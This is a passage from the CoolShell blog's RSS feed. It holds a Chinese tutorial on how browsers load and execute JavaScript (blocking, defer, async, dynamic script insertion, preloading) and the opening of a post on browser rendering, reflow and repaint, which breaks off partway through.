class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11021.html/feed</wfw:commentRss>
			<slash:comments>61</slash:comments>
		
		
			</item>
		<item>
		<title>Javascript 装载和执行</title>
		<link>https://coolshell.cn/articles/9749.html</link>
					<comments>https://coolshell.cn/articles/9749.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 05 Jun 2013 00:31:06 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=9749</guid>

					<description><![CDATA[<p>一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/9749.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/9749.html">Javascript 装载和执行</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright  wp-image-9778" alt="" src="https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg" width="300" height="225" srcset="https://coolshell.cn/wp-content/uploads/2013/06/javascript.jpg 500w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-300x225.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/06/javascript-360x270.jpg 360w" sizes="(max-width: 300px) 100vw, 300px" />一两个月前在淘宝内网里看到一个优化Javascript代码的竞赛，发现有不少的人对Javascript的执行和装载的基础并不懂，所以，从那天起我就想写一篇文章，但一直耽搁了。自上篇《<a title="浏览器的渲染原理简介" href="https://coolshell.cn/articles/9666.html" target="_blank">浏览器渲染原理简介</a>》，正好也可以承前启后。</p>
<p>首先，我想说一下Javascript的装载和执行。通常来说，浏览器对于Javascript的运行有两大特性：<strong>1）载入后马上执行，2）执行时会阻塞页面后续的内容（包括页面的渲染、其它资源的下载）</strong>。于是，如果有多个js文件被引入，那么对于浏览器来说，这些js文件被被串行地载入，并依次执行。</p>
<p>因为javascript可能会来操作HTML文档的DOM树，所以，浏览器一般都不会像并行下载css文件并行下载js文件，因为这是js文件的特殊性造成的。所以，如果你的javascript想操作后面的DOM元素，基本上来说，浏览器都会报错说对象找不到。因为Javascript执行时，后面的HTML被阻塞住了，DOM树时还没有后面的DOM结点。所以程序也就报错了。</p>
<h4>传统的方式</h4>
<p>所以，当你写在代码中写下如下的代码：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=&quot;text/javascript&quot;
        src=&quot;https://coolshell.cn/asyncjs/alert.js&quot;&gt;&lt;/script&gt;</pre>
<p><span id="more-9749"></span></p>
<p>基本上来说，head里的 &lt;script&gt;标签会阻塞后续资源的载入以及整个页面的生成。我专门做了一个示例你可以看看：<strong><a href="https://coolshell.cn/asyncjs/async_test01.html" target="_blank">示例一</a></strong>。 注意：我的alert.js中只有一句话：alert(&#8220;hello world&#8221;) ，这更容易让你看到javascript是怎么阻塞后面的东西的。</p>
<p>所以，你知道为什么有很多网站把javascript放在网页的最后面了，要么就是动用了window.onload或是docmuemt ready之类的事件。</p>
<p>另外，因为绝大多数的Javascript代码并不需要等页面，所以，我们异步载入的功能。那么我们怎么异步载入呢？</p>
<h4>document.write方式</h4>
<p>于是，你可能以为document.write()这种方式能够解决不阻塞的方式。你当然会觉得，document.write了的&lt;script&gt;标签后就可以执行后面的东西去了，这没错。对于在同一个script标签里的Javascript的代码来说，是这样的，但是对于整个页面来说，这个还是会阻塞。 下面是一段测试代码：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
    function loadjs(script_filename) {
        document.write(&#039;&lt;&#039; + &#039;script language=&quot;javascript&quot; type=&quot;text/javascript&quot;&#039;);
        document.write(&#039; src=&quot;&#039; + script_filename + &#039;&quot;&gt;&#039;);
        document.write(&#039;&lt;&#039;+&#039;/script&#039;+&#039;&gt;&#039;);
        alert(&quot;loadjs() exit...&quot;);
    }

    var script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;

    loadjs(script);
    alert(&quot;loadjs() finished!&quot;);
&lt;/script&gt;

&lt;script type=&quot;text/javascript&quot; language=&quot;javascript&quot;&gt;
   alert(&quot;another block&quot;);
&lt;/script&gt;</pre>
<p>你觉得alert的顺序是什么？你可以在不同的浏览器里试一试。这里的想关的测试页面：<strong><a href="https://coolshell.cn/asyncjs/async_test02.html" target="_blank">示例二</a></strong>。</p>
<h4>script的defer和async属性</h4>
<p>IE自从IE6就支持defer标签，如：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">&lt;script defer type=&quot;text/javascript&quot; src=&quot;./alert.js&quot; &gt;
&lt;/script&gt;</pre>
<p>对于IE来说，这个标签会让IE并行下载js文件，并且把其执行hold到了整个DOM装载完毕（DOMContentLoaded），多个defer的&lt;script&gt;在执行时也会按照其出现的顺序来运行。最重要的是&lt;script&gt;被加上defer后，其不会阻塞后续DOM的的渲染。但是因为这个defer只是IE专用，所以一般用得比较少。</p>
<p>而我们标准的的HTML5也加入了一个异步载入javascript的属性：async，无论你对它赋什么样的值，只要它出现，它就开始异步加载js文件。但是， async的异步加载会有一个比较严重的问题，那就是它忠实地践行着“载入后马上执行”这条军规，所以，虽然它并不阻塞页面的渲染，但是你也无法控制他执行的次序和时机。你可以<a href="https://coolshell.cn/asyncjs/async_test01.async.html" target="_blank">看看这个示例去感受一下</a>。</p>
<p>支持 async标签的浏览器是：Firefox3.6+，Chrome 8.0+，Safari 5.0+，IE 10+，Opera还不支持（<a href="http://caniuse.com/#feat=script-async" target="_blank">来自这里</a>）所以这个方法也不是太好。因为并不是所有的浏览器你都能行。</p>
<h4>动态创建DOM方式</h4>
<p>这种方式可能是用得最多的了。</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">
function loadjs(script_filename) {
    var script = document.createElement(&#039;script&#039;);
    script.setAttribute(&#039;type&#039;, &#039;text/javascript&#039;);
    script.setAttribute(&#039;src&#039;, script_filename);
    script.setAttribute(&#039;id&#039;, &#039;coolshell_script_id&#039;);

    script_id = document.getElementById(&#039;coolshell_script_id&#039;);
    if(script_id){
        document.getElementsByTagName(&#039;head&#039;)[0].removeChild(script_id);
    }
    document.getElementsByTagName(&#039;head&#039;)[0].appendChild(script);
}

var script = &#039;https://coolshell.cn/asyncjs/alert.js&#039;;
loadjs(script);
</pre>
<p>这个方式几乎成了标准的异步载入js文件的方式，这个方式的演示请参看：<strong><a href="https://coolshell.cn/asyncjs/async_test03.html" target="_blank">示例三</a></strong>。这方式还被玩出了JSONP的东东，也就是我可以为script的src指定某个后台的脚本（如PHP），而这个PHP返回一个javascript函数，其参数是一个json的字符串，返回来调用我们的预先定义好的javascript的函数。你可以看一下这个示例：<a href="https://coolshell.cn/t.js" target="_blank">t.js</a> （这个示例是我之前在微博征集的<a href="https://coolshell.cn/t.html" target="_blank">一个异步ajax调用的小例子</a>）<strong><br />
</strong></p>
<h4>按需异步载入js</h4>
<p>上面那个DOM方式的例子解决了异步载入Javascript的问题，但是没有解决我们想让他按我们指定的时机运行的问题。所以，我们只需要把上面那个DOM方式绑到某个事件上来就可以了。</p>
<p>比如：</p>
<p><strong>绑在window.load事件上</strong>——<strong><a href="https://coolshell.cn/asyncjs/async_test04.html" target="_blank">示例四</a> </strong></p>
<p><strong></strong>你一定要比较一下示例四和示例三在执行上有什么不同，我在这两个示例中都专门用了个代码高亮的javascript，看看那个代码高亮的的脚本的执行和我的alert.js的执行的情况，你就知道不同了）</p>
<p><code data-enlighter-language="js" class="EnlighterJSRAW">window.load = loadjs(&quot;https://coolshell.cn/asyncjs/alert.js&quot;)</code></p>
<p><strong>绑在特定的事件上</strong>——<strong><a href="https://coolshell.cn/asyncjs/async_test05.html" target="_blank">示例五</a></strong></p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;p style=&quot;cursor: pointer&quot; onclick=&quot;LoadJS()&quot;&gt;Click to load alert.js &lt;/p&gt;</code></p>
<p>这个示例很简单了。当你点击某个DOM元素，才会真正载入我们的alert.js。</p>
<h4>更多</h4>
<p>但是，绑定在某个特定事件上这个事似乎又过了一点，因为只有在点击的时候才会去真正的下载js，这又会太慢了了。好了，到这里，要抛出我们的终极问题——<strong>我们想要异步地把js文件下载到用户的本地，但是不执行，仅当在我们想要执行的时候去执行</strong>。</p>
<p>要是我们有下面这样的方式就好了：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">var script = document.createElement(&quot;script&quot;);
script.noexecute = true;
script.src = &quot;alert.js&quot;;
document.body.appendChild(script);

//后面我们可以这么干
script.execute();</pre>
<p>可惜的是，这只是一个美丽的梦想，今天我们的Javascript还比较原始，这个“JS梦”还没有实现呢。</p>
<p>所以，我们的程序员只能使用hack的方式来搞。</p>
<p>有的程序员使用了非标准的script的type来cache javascript。如：</p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;script type=cache/script src=&quot;./alert.js&quot;&gt;&lt;/script&gt;</code></p>
<p>因为&#8221;cache/script&#8221;，这个东西根本就不能被浏览器解析，所以浏览器也就不能把alert.js当javascript去执行，但是他又要去下载js文件，所以就可以搞定了。可惜的是，webkit严格符从了HTML的标准——对于这种不认识的东西，直接删除，什么也不干。于是，我们的梦又破了。</p>
<p>所以，我们需要再hack一下，就像N多年前玩preload图片那样，我们可以动用object标签（也可以动用iframe标签），于是我们有下面这样的代码：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">    function cachejs(script_filename){
        var cache = document.createElement(&#039;object&#039;);
        cache.data = script_filename;
        cache.id = &quot;coolshell_script_cache_id&quot;;
        cache.width = 0;
        cache.height = 0;
        document.body.appendChild(cache);
    }</pre>
<p>然后，我们在的最后调用一下这个函数。请参看一下相关的示例：<strong><a href="https://coolshell.cn/asyncjs/async_test06.html" target="_blank">示例六</a></strong></p>
<p>在Chrome下按 Ctrl+Shit+I，切换到network页，你就可以看到下载了alert.js但是没有执行，然后我们再用示例五的方式，因为浏览器端有缓存了，不会再从服务器上下载alert.js了。所以，就能保证执行速度了。</p>
<p>关于这种preload这种东西你应该不会陌生了。你还可以使用Ajax的方式，如：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">var xhr = new XMLHttpRequest();
xhr.open(&#039;GET&#039;, &#039;new.js&#039;);
xhr.send(&#039;&#039;);</pre>
<p>到这里我就不再多说了，也不给示例了，大家可以自己试试去。</p>
<p>最后再提两个js，一个是<a href="http://stevesouders.com/controljs/" target="_blank">ControlJS</a>，一个叫<a href="http://headjs.com/" target="_blank">HeadJS</a>，专门用来做异步load javascript文件的。</p>
<p>好了，这是所有的内容了，希望大家看过后能对Javascript的载入和执行，以及相关的技术有个了解。<strong>同时，也希望各前端高手不吝赐教！</strong></p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/8170.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg" alt="一次Ajax查错的经历" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8170.html" class="wp_rp_title">一次Ajax查错的经历</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/9749.html">Javascript 装载和执行</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/9749.html/feed</wfw:commentRss>
			<slash:comments>104</slash:comments>
		
		
			</item>
		<item>
		<title>浏览器的渲染原理简介</title>
		<link>https://coolshell.cn/articles/9666.html</link>
					<comments>https://coolshell.cn/articles/9666.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Wed, 22 May 2013 00:17:47 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[DOM]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Web]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=9666</guid>

					<description><![CDATA[<p>看到这个标题大家一定会想到这篇神文《How Browsers Work》，这篇文章把浏览器的很多细节讲得很细，而且也被翻译成了中文。为什么我还想写一篇呢？因为两...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/9666.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/9666.html">浏览器的渲染原理简介</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>看到这个标题大家一定会想到这篇神文《<a href="http://taligarsiel.com/Projects/howbrowserswork1.htm" target="_blank">How Browsers Work</a>》，这篇文章把浏览器的很多细节讲得很细，而且也被<a href="http://ux.sohu.com/topics/50972d9ae7de3e752e0081ff" target="_blank">翻译成了中文</a>。为什么我还想写一篇呢？因为两个原因，</p>
<p style="padding-left: 30px;">1）这篇文章太长了，阅读成本太大，不能一口气读完。</p>
<p style="padding-left: 30px;">2）花了大力气读了这篇文章后可以了解很多，但似乎对工作没什么帮助。</p>
<p>所以，我准备写下这篇文章来解决上述两个问题。希望你能在上班途中，或是坐马桶时就能读完，并能从中学会一些能用在工作上的东西。</p>
<h4>浏览器工作大流程</h4>
<p>废话少说，先来看个图：</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9667" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg" width="712" height="231" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process.jpg 791w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-300x97.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-768x250.jpg 768w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-604x196.jpg 604w" sizes="(max-width: 712px) 100vw, 712px" /></p>
<p style="text-align: left;">从上面这个图中，我们可以看到那么几个事：</p>
<p><span id="more-9666"></span></p>
<p style="text-align: left;">1）浏览器会解析三个东西：</p>
<ul>
<li>一个是HTML/SVG/XHTML，事实上，Webkit有三个C++的类对应这三类文档。解析这三种文件会产生一个DOM Tree。</li>
</ul>
<ul>
<li>CSS，解析CSS会产生CSS规则树。</li>
</ul>
<ul>
<li>Javascript，脚本，主要是通过DOM API和CSSOM API来操作DOM Tree和CSS Rule Tree.</li>
</ul>
<p>2）解析完成后，浏览器引擎会通过DOM Tree 和 CSS Rule Tree 来构造 Rendering Tree。注意：</p>
<ul>
<li>Rendering Tree 渲染树并不等同于DOM树，因为一些像Header或display:none的东西就没必要放在渲染树中了。</li>
</ul>
<ul>
<li>CSS 的 Rule Tree主要是为了完成匹配并把CSS Rule附加上Rendering Tree上的每个Element。也就是DOM结点。也就是所谓的Frame。</li>
</ul>
<ul>
<li>然后，计算每个Frame（也就是每个Element）的位置，这又叫layout和reflow过程。</li>
</ul>
<p>3）最后通过调用操作系统Native GUI的API绘制。</p>
<h4>DOM解析</h4>
<p>HTML的DOM Tree解析如下：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;html&gt;
&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;Web page parsing&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div&gt;
        &lt;h1&gt;Web page parsing&lt;/h1&gt;
        &lt;p&gt;This is an example Web page.&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</pre>
<p>上面这段HTML会解析成这样：</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9669" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg" width="456" height="300" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01.jpg 651w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-01-300x197.jpg 300w" sizes="(max-width: 456px) 100vw, 456px" /></p>
<p>下面是另一个有SVG标签的情况。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9670" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg" width="408" height="320" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02.jpg 680w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-02-300x235.jpg 300w" sizes="(max-width: 408px) 100vw, 408px" /></p>
<h4>CSS解析</h4>
<p>CSS的解析大概是下面这个样子（下面主要说的是Gecko也就是Firefox的玩法），假设我们有下面的HTML文档：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">
&lt;doc&gt;
&lt;title&gt;A few quotes&lt;/title&gt;
&lt;para&gt;
  Franklin said that &lt;quote&gt;&quot;A penny saved is a penny earned.&quot;&lt;/quote&gt;
&lt;/para&gt;
&lt;para&gt;
  FDR said &lt;quote&gt;&quot;We have nothing to fear but &lt;span&gt;fear itself.&lt;/span&gt;&quot;&lt;/quote&gt;
&lt;/para&gt;
&lt;/doc&gt;
</pre>
<p>于是DOM Tree是这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9672" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg" width="368" height="318" srcset="https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example.jpg 368w, https://coolshell.cn/wp-content/uploads/2013/05/DOM-Tree-Example-300x259.jpg 300w" sizes="(max-width: 368px) 100vw, 368px" /></p>
<p>然后我们的CSS文档是这样的：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">  /* rule 1 */ doc { display: block; text-indent: 1em; }
/* rule 2 */ title { display: block; font-size: 3em; }
/* rule 3 */ para { display: block; }
/* rule 4 */ [class=&quot;emph&quot;] { font-style: italic; }</pre>
<p>于是我们的CSS Rule Tree会是这个样子：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9673" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg" width="397" height="238" srcset="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example.jpg 397w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Rule-Tree-Example-300x179.jpg 300w" sizes="(max-width: 397px) 100vw, 397px" /></p>
<p>注意，图中的第4条规则出现了两次，一次是独立的，一次是在规则3的子结点。所以，我们可以知道，建立CSS Rule Tree是需要比照着DOM Tree来的。CSS匹配DOM Tree主要是从右到左解析CSS的Selector，好多人以为这个事会比较快，其实并不一定。关键还看我们的CSS的Selector怎么写了。</p>
<p><strong>注意：CSS匹配HTML元素是一个相当复杂和有性能问题的事情。所以，你就会在N多地方看到很多人都告诉你，DOM树要小，CSS尽量用id和class，千万不要过渡层叠下去，……</strong></p>
<p>通过这两个树，我们可以得到一个叫Style Context Tree，也就是下面这样（把CSS Rule结点Attach到DOM Tree上）：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-9674" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg" width="405" height="318" srcset="https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example.jpg 405w, https://coolshell.cn/wp-content/uploads/2013/05/CSS-Content-Tree-Example-300x235.jpg 300w" sizes="(max-width: 405px) 100vw, 405px" /></p>
<p>所以，Firefox基本上来说是通过CSS 解析 生成 CSS Rule Tree，然后，通过比对DOM生成Style Context Tree，然后Firefox通过把Style Context Tree和其Render Tree（Frame Tree）关联上，就完成了。注意：Render Tree会把一些不可见的结点去除掉。而<strong>Firefox中所谓的Frame就是一个DOM结点，不要被其名字所迷惑了</strong>。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9677" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png" width="328" height="366" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree.png 364w, https://coolshell.cn/wp-content/uploads/2013/05/Firefox-style-context-tree-268x300.png 268w" sizes="(max-width: 328px) 100vw, 328px" /></p>
<p>注：Webkit不像Firefox要用两个树来干这个，Webkit也有Style对象，它直接把这个Style对象存在了相应的DOM结点上了。</p>
<h4>渲染</h4>
<p>渲染的流程基本上如下（黄色的四个步骤）：</p>
<ol>
<li>计算CSS样式</li>
<li>构建Render Tree</li>
<li>Layout &#8211; 定位坐标和大小，是否换行，各种position, overflow, z-index属性 ……</li>
<li>正式开画</li>
</ol>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-9675" alt="" src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg" width="712" height="196" srcset="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping.jpg 1318w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-300x82.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-Skipping-1024x282.jpg 1024w" sizes="(max-width: 712px) 100vw, 712px" /></p>
<p style="text-align: left;">注意：上图流程中有很多连接线，这表示了Javascript动态修改了DOM属性或是CSS属会导致重新Layout，有些改变不会，就是那些指到天上的箭头，比如，修改后的CSS rule没有被匹配到，等。</p>
<p style="text-align: left;">这里重要要说两个概念，一个是Reflow，另一个是Repaint。这两个不是一回事。</p>
<ul>
<li>Repaint——屏幕的一部分要重画，比如某个CSS的背景色变了。但是元素的几何尺寸没有变。</li>
</ul>
<ul>
<li>Reflow——意味着元件的几何尺寸变了，我们需要重新验证并计算Render Tree。是Render Tree的一部分或全部发生了变化。这就是Reflow，或是Layout。（<strong>HTML使用的是flow based layout，也就是流式布局，所以，如果某元件的几何尺寸发生了变化，需要重新布局，也就叫reflow</strong>）reflow 会从&lt;html&gt;这个root frame开始递归往下，依次计算所有的结点几何尺寸和位置，在reflow过程中，可能会增加一些frame，比如一个文本字符串必需被包装起来。</li>
</ul>
<p>下面是一个打开Wikipedia时的Layout/reflow的视频（注：HTML在初始化的时候也会做一次reflow，叫 <dfn>intial reflow</dfn>），你可以感受一下：</p>
<p><center><object width="480" height="400" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" align="middle"><param name="src" value="http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf" /><param name="allowfullscreen" value="true" /><param name="quality" value="high" /><param name="allowscriptaccess" value="always" /><embed width="480" height="400" type="application/x-shockwave-flash" src="http://player.youku.com/player.php/sid/XMzI5MDg0OTA0/v.swf" allowfullscreen="true" quality="high" allowscriptaccess="always" align="middle" /></object></center>Reflow的成本比Repaint的成本高得多的多。DOM Tree里的每个结点都会有reflow方法，一个结点的reflow很有可能导致子结点，甚至父点以及同级结点的reflow。<strong>在一些高性能的电脑上也许还没什么，但是如果reflow发生在手机上，那么这个过程是非常痛苦和耗电的</strong>。</p>
<p>所以，下面这些动作有很大可能会是成本比较高的。</p>
<ul>
<li>当你增加、删除、修改DOM结点时，会导致Reflow或Repaint</li>
<li>当你移动DOM的位置，或是搞个动画的时候。</li>
<li>当你修改CSS样式的时候。</li>
<li>当你Resize窗口的时候（移动端没有这个问题），或是滚动的时候。</li>
<li>当你修改网页的默认字体时。</li>
</ul>
<p style="text-align: left;">注：display:none会触发reflow，而visibility:hidden只会触发repaint，因为没有发现位置变化。</p>
<p style="text-align: left;">多说两句关于滚屏的事，通常来说，如果在滚屏的时候，我们的页面上的所有的像素都会跟着滚动，那么性能上没什么问题，因为我们的显卡对于这种把全屏像素往上往下移的算法是很快。但是如果你有一个fixed的背景图，或是有些Element不跟着滚动，有些Elment是动画，那么这个滚动的动作对于浏览器来说会是相当相当痛苦的一个过程。你可以看到很多这样的网页在滚动的时候性能有多差。因为滚屏也有可能会造成reflow。</p>
<p style="text-align: left;">基本上来说，reflow有如下的几个原因：</p>
<ul>
<li>Initial。网页初始化的时候。</li>
<li>Incremental。一些Javascript在操作DOM Tree时。</li>
<li>Resize。其些元件的尺寸变了。</li>
<li>StyleChange。如果CSS的属性发生变化了。</li>
<li>Dirty。几个Incremental的reflow发生在同一个frame的子树上。</li>
</ul>
<p style="text-align: left;">好了，我们来看一个示例吧：</p>
<p>[javascript]var bstyle = document.body.style; // cache</p>
<p>bstyle.padding = &quot;20px&quot;; // reflow, repaint<br />
bstyle.border = &quot;10px solid red&quot;; //  再一次的 reflow 和 repaint</p>
<p>bstyle.color = &quot;blue&quot;; // repaint<br />
bstyle.backgroundColor = &quot;#fad&quot;; // repaint</p>
<p>bstyle.fontSize = &quot;2em&quot;; // reflow, repaint</p>
<p>// new DOM element &#8211; reflow, repaint<br />
document.body.appendChild(document.createTextNode(&#8216;dude!&#8217;));[/javascript]</p>
<p style="text-align: left;">当然，我们的浏览器是聪明的，它不会像上面那样，你每改一次样式，它就reflow或repaint一次。<strong>一般来说，浏览器会把这样的操作积攒一批，然后做一次reflow，这又叫异步reflow或增量异步reflow</strong>。但是有些情况浏览器是不会这么做的，比如：resize窗口，改变了页面默认的字体，等。对于这些操作，浏览器会马上进行reflow。</p>
<p style="text-align: left;">但是有些时候，我们的脚本会阻止浏览器这么干，比如：如果我们请求下面的一些DOM值：</p>
<ol>
<li>offsetTop, offsetLeft, offsetWidth, offsetHeight</li>
<li>scrollTop/Left/Width/Height</li>
